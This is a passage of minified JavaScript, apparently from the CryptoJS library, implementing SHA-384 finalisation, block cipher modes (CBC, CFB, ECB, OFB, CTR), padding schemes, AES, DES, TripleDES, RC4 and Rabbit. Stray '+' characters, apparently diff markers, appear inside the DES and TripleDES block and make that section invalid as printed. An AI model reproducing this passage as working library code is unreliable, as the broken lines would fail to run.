i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = 